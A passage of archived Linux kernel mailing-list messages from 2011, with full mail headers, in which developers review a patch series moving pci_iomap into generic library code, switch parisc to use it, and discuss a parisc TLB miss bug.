> > +/* Hide the details if this is a MMIO or PIO address space and just do what
> > + * you expect in the correct way. */
> >  void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
> >  {
> >  	IO_COND(addr, /* nothing */, iounmap(addr));
> >  }
> > -EXPORT_SYMBOL(pci_iomap);
> >  EXPORT_SYMBOL(pci_iounmap);
> 
> Ditto with pci_iounmap

Answered above.

> > diff --git a/lib/pci_iomap.c b/lib/pci_iomap.c
> > new file mode 100644
> > index 0000000..40b26cb
> > --- /dev/null
> > +++ b/lib/pci_iomap.c
> > @@ -0,0 +1,48 @@
> > +/*
> > + * Implement the default iomap interfaces
> > + *
> > + * (C) Copyright 2004 Linus Torvalds
> > + */
> > +#include <linux/pci.h>
> > +#include <linux/io.h>
> > +
> > +#include <linux/module.h>
> 
> If this is relative to (at least) v3.2-rc1, then you should use export.h
> instead of module.h

I just copied lib/iomap.c
Will fix, thanks for the comments.

> -- 
> Cheers,
> Stephen Rothwell                    sfr@canb.auug.org.au
> http://www.canb.auug.org.au/~sfr/





From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Kuo <rkuo@codeaurora.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: Re: [PATCH-RFC 01/10] lib: move GENERIC_IOMAP to lib/Kconfig
Date: Mon, 28 Nov 2011 14:12:26 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20111128201226.GA4296@codeaurora.org>
References: <cover.1322163031.git.mst@redhat.com>
 <5aed7b7e1dbc8a50ebd6986245df8054fd05b7cd.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322511205 16254 80.91.229.12 (28 Nov 2011 20:13:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2011 20:13:25 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
        Paul Mundt <lethal@linux-sh.org>,
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Nov 28 21:13:07 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RV7ZY-0004YD-6S
	for sgi-linux-mips@gmane.org; Mon, 28 Nov 2011 21:13:04 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:49304 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1905209Ab1K1UNA (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 28 Nov 2011 21:13:00 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 28 Nov 2011 21:12:43 +0100 (CET)
Original-Received: from wolverine01.qualcomm.com ([199.106.114.254]:55458 "EHLO
        wolverine01.qualcomm.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1905208Ab1K1UMd (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 28 Nov 2011 21:12:33 +0100
X-IronPort-AV: E=McAfee;i="5400,1158,6544"; a="141631582"
Original-Received: from pdmz-css-vrrp.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.130])
  by wolverine01.qualcomm.com with ESMTP/TLS/ADH-AES256-SHA; 28 Nov 2011 12:12:29 -0800
Original-Received: from codeaurora.org (pdmz-snip-v218.qualcomm.com [192.168.218.1])
        by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 9008010004D5;
        Mon, 28 Nov 2011 12:12:27 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <5aed7b7e1dbc8a50ebd6986245df8054fd05b7cd.1322163031.git.mst@redhat.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-archive-position: 32010
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rkuo@codeaurora.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33111 gmane.linux.ports.alpha:1597 gmane.linux.kernel:1221518 gmane.linux.ports.arm.kernel:141827 gmane.linux.ports.hexagon:345 gmane.linux.ports.ia64:21901 gmane.linux.ports.m68k:3077 gmane.linux.uclinux.microblaze:11677 gmane.linux.ports.parisc:4047 gmane.linux.ports.ppc64.devel:78527 gmane.linux.ports.sh.devel:12878 gmane.linux.ports.sparc:15521 gmane.linux.kernel.cross-arch:11590 gmane.linux.kernel.pci:12721
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33111>

On Thu, Nov 24, 2011 at 10:15:42PM +0200, Michael S. Tsirkin wrote:
> define GENERIC_IOMAP in a central location
> instead of all architectures. This will be helpful
> for the follow-up patch which makes it select
> other configs. Code is also a bit shorter this way.

For the Hexagon config,

Acked-by: Richard Kuo <rkuo@codeaurora.org>


-- 

Sent by an employee of the Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum.



From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: TLB Miss Bug?
Date: Tue, 29 Nov 2011 12:41:19 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <1322592079.11875.43.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP178D0B9C9992607985308C97CE0@phx.gbl>
	 <1322277527.7362.12.camel@dabdike.cust.hotspot.t-mobile.com>
	 <BLU0-SMTP4684050CC4E337BF49371797CD0@phx.gbl>
	 <BLU0-SMTP69497471F7AC39085A11CC97CD0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1322592091 14566 80.91.229.12 (29 Nov 2011 18:41:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 Nov 2011 18:41:31 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 29 19:41:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RVScO-0005u8-TG
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Nov 2011 19:41:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756117Ab1K2SlX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Nov 2011 13:41:23 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38264 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756086Ab1K2SlX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Nov 2011 13:41:23 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A76988EE0F6;
	Tue, 29 Nov 2011 10:41:22 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nUaiExzpW3Zh; Tue, 29 Nov 2011 10:41:22 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B184C8EE0A5;
	Tue, 29 Nov 2011 10:41:21 -0800 (PST)
In-Reply-To: <BLU0-SMTP69497471F7AC39085A11CC97CD0@phx.gbl>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4048>

On Sat, 2011-11-26 at 20:54 -0500, John David Anglin wrote:
> On 26-Nov-11, at 7:35 PM, John David Anglin wrote:
> 
> > On 25-Nov-11, at 10:18 PM, James Bottomley wrote:
> >
> >> I'm still a bit Jetlagged from a customer trip to Germany, but this
> >> looks entirely possible: Appendix F says that a later TLB insertion
> >> purges an earlier one, so I'd say in a combined I/D TLB inserting
> >> consecutive I and D entries purges the I.
> >>
> >> It looks like a fix might be to insert TLB entries supporting both  
> >> data
> >> and instruction access in the combined TLB case.
> >
> > In looking at the code, I couldn't see why the I and D entries would  
> > differ.
> > Except for the dtlb_check_alias_20w check, the I and D handlers appear
> > identical.  Maybe the hardware can't handle this case.
> >
> > Don't understand this comment:
> >
> >        /*
> >         * I miss is a little different, since we allow users to fault
> >         * on the gateway page which is in the kernel address space.
> >         */
> >
> > There is also a typo in this comment:
> >
> >         * Then incredible subtlety: The access rights are
> >         * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
> >
> > I believe the last bit should be _PAGE_WRITE.

Yes ... I was obviously in brain burn out when I wrote that.  It had
just taken me days to figure out what was going on if I remember
correctly.

> I just realized there is a difference.  In the I case, va and spc are  
> loaded
> from %pcoq and %pcsq, respectively.  In the D case, they are loaded from
> %ior and %isr.  I haven't wrapped my head around this but space_adjust
> may not be handling the b field correctly (D case)

I don't really think so: T D and B are all loaded from the page table
entry (so they overwrite anything in the space adjust).

Looking at the code again, it does seem that the insertions are all
correct for the combined TLB case on either an I or D fault, so whatever
the problem is, it must lie elsewhere.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Sun, 4 Dec 2011 12:48:18 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20111204104817.GI15464@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1322995615 32053 80.91.229.12 (4 Dec 2011 10:46:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 10:46:55 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 04 11:46:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RX9ar-00010E-MJ
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Dec 2011 11:46:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753182Ab1LDKqt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Dec 2011 05:46:49 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:42230 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753222Ab1LDKqs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Dec 2011 05:46:48 -0500
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pB4Akap8014509
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sun, 4 Dec 2011 05:46:37 -0500
Original-Received: from redhat.com (vpn-202-5.tlv.redhat.com [10.35.202.5])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pB4AkXwL009914;
	Sun, 4 Dec 2011 05:46:34 -0500
Content-Disposition: inline
In-Reply-To: <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4049>

On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> parisc copied pci_iomap from generic code, probably to avoid
> pulling the rest of iomap.c in.  Since that's in
> a separate file now, we can reuse the common implementation.
> 
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

Sorry to nag, any ACKs/NACKs on the parisc part?
I intend to send this to Linus if there are no
objections. Thanks!

> ---
>  arch/parisc/Kconfig     |    1 +
>  arch/parisc/lib/iomap.c |   23 -----------------------
>  2 files changed, 1 insertions(+), 23 deletions(-)
> 
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index fdfd8be..242a1b7 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -14,6 +14,7 @@ config PARISC
>  	select GENERIC_ATOMIC64 if !64BIT
>  	select HAVE_GENERIC_HARDIRQS
>  	select GENERIC_IRQ_PROBE
> +	select GENERIC_PCI_IOMAP
>  	select IRQ_PER_CPU
>  	select ARCH_HAVE_NMI_SAFE_CMPXCHG
>  
> diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
> index 8f470c9..fb8e10a 100644
> --- a/arch/parisc/lib/iomap.c
> +++ b/arch/parisc/lib/iomap.c
> @@ -436,28 +436,6 @@ void ioport_unmap(void __iomem *addr)
>  	}
>  }
>  
> -/* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
> -void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long maxlen)
> -{
> -	resource_size_t start = pci_resource_start(dev, bar);
> -	resource_size_t len = pci_resource_len(dev, bar);
> -	unsigned long flags = pci_resource_flags(dev, bar);
> -
> -	if (!len || !start)
> -		return NULL;
> -	if (maxlen && len > maxlen)
> -		len = maxlen;
> -	if (flags & IORESOURCE_IO)
> -		return ioport_map(start, len);
> -	if (flags & IORESOURCE_MEM) {
> -		if (flags & IORESOURCE_CACHEABLE)
> -			return ioremap(start, len);
> -		return ioremap_nocache(start, len);
> -	}
> -	/* What? */
> -	return NULL;
> -}
> -
>  void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
>  {
>  	if (!INDIRECT_ADDR(addr)) {
> @@ -483,5 +461,4 @@ EXPORT_SYMBOL(iowrite16_rep);
>  EXPORT_SYMBOL(iowrite32_rep);
>  EXPORT_SYMBOL(ioport_map);
>  EXPORT_SYMBOL(ioport_unmap);
> -EXPORT_SYMBOL(pci_iomap);
>  EXPORT_SYMBOL(pci_iounmap);
> -- 
> 1.7.5.53.gc233e
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Sun, 04 Dec 2011 08:22:34 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
References: <cover.1322163031.git.mst@redhat.com>
	 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	 <20111204104817.GI15464@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323008563 28630 80.91.229.12 (4 Dec 2011 14:22:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 14:22:43 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 04 15:22:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXCxi-0001qH-Cv
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Dec 2011 15:22:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753677Ab1LDOWh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Dec 2011 09:22:37 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49321 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753143Ab1LDOWg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Dec 2011 09:22:36 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 70A0D8EE0A5;
	Sun,  4 Dec 2011 06:22:36 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1SM3cGgQneWP; Sun,  4 Dec 2011 06:22:36 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id AFAB98EE07C;
	Sun,  4 Dec 2011 06:22:35 -0800 (PST)
In-Reply-To: <20111204104817.GI15464@redhat.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4050
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4050>

On Sun, 2011-12-04 at 12:48 +0200, Michael S. Tsirkin wrote:
> On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> > parisc copied pci_iomap from generic code, probably to avoid
> > pulling the rest of iomap.c in.  Since that's in
> > a separate file now, we can reuse the common implementation.
> > 
> > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> 
> Sorry to nag, any ACKs/NACKs on the parisc part?
> I intend to send this to Linus if there are no
> objections. Thanks!

Next time, send the patch to linux-arch or linux-parisc ... it helps to
get people to review it.  Although this one looks completely trivial,
unless I'm missing something?

Obviously there was a bit of a brain fart when this was done: the parisc
piece shouldn't be a copy of the generic code: we don't have native i/o
ports and emulation is pretty expensive, so we should prefer
IORESOURCE_MEM over IORESOURCE_IO when both are available  ... but even
on x86, memory mapping is faster (although not by the order of magnitude
it is on parisc), so it looks like you could fix this in the generic
code.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Sun, 4 Dec 2011 16:30:01 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20111204143000.GB21238@redhat.com>
References: <cover.1322163031.git.mst@redhat.com>
 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
 <20111204104817.GI15464@redhat.com>
 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323008919 31072 80.91.229.12 (4 Dec 2011 14:28:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 14:28:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 04 15:28:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXD3R-0001qH-Vk
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Dec 2011 15:28:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753784Ab1LDO2d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Dec 2011 09:28:33 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:6265 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753749Ab1LDO2d (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Dec 2011 09:28:33 -0500
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pB4ESJwx010766
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sun, 4 Dec 2011 09:28:20 -0500
Original-Received: from redhat.com (vpn-202-5.tlv.redhat.com [10.35.202.5])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id pB4ESGqC032361;
	Sun, 4 Dec 2011 09:28:17 -0500
Content-Disposition: inline
In-Reply-To: <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4051>

On Sun, Dec 04, 2011 at 08:22:34AM -0600, James Bottomley wrote:
> On Sun, 2011-12-04 at 12:48 +0200, Michael S. Tsirkin wrote:
> > On Thu, Nov 24, 2011 at 10:19:34PM +0200, Michael S. Tsirkin wrote:
> > > parisc copied pci_iomap from generic code, probably to avoid
> > > pulling the rest of iomap.c in.  Since that's in
> > > a separate file now, we can reuse the common implementation.
> > > 
> > > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > 
> > Sorry to nag, any ACKs/NACKs on the parisc part?
> > I intend to send this to Linus if there are no
> > objections. Thanks!
> 
> Next time, send the patch to linux-arch or linux-parisc ... it helps to
> get people to review it. Although this one looks completely trivial,
> unless I'm missing something?

I think it's trivial but I don't have the setup to even compile it so
depend on someone to ack.

> Obviously there was a bit of a brain fart when this was done: the parisc
> piece shouldn't be a copy of the generic code: we don't have native i/o
> ports and emulation is pretty expensive, so we should prefer
> IORESOURCE_MEM over IORESOURCE_IO when both are available  ... but even
> on x86, memory mapping is faster (although not by the order of magnitude
> it is on parisc), so it looks like you could fix this in the generic
> code.
> 
> James

AFAIK, on PCI a resource is either IO or MEM, but never both.
What am I missing?

-- 
MST
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Sun, 04 Dec 2011 08:32:24 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <1323009144.3003.6.camel@dabdike.int.hansenpartnership.com>
References: <cover.1322163031.git.mst@redhat.com>
	 <9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	 <20111204104817.GI15464@redhat.com>
	 <1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
	 <20111204143000.GB21238@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323009153 32679 80.91.229.12 (4 Dec 2011 14:32:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 4 Dec 2011 14:32:33 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 04 15:32:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RXD7E-0004pY-2N
	for glpp-linux-parisc@lo.gmane.org; Sun, 04 Dec 2011 15:32:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753931Ab1LDOc1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Dec 2011 09:32:27 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49380 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753784Ab1LDOc0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Dec 2011 09:32:26 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 633018EE0C8;
	Sun,  4 Dec 2011 06:32:26 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SZZYIQLgUM4P; Sun,  4 Dec 2011 06:32:26 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
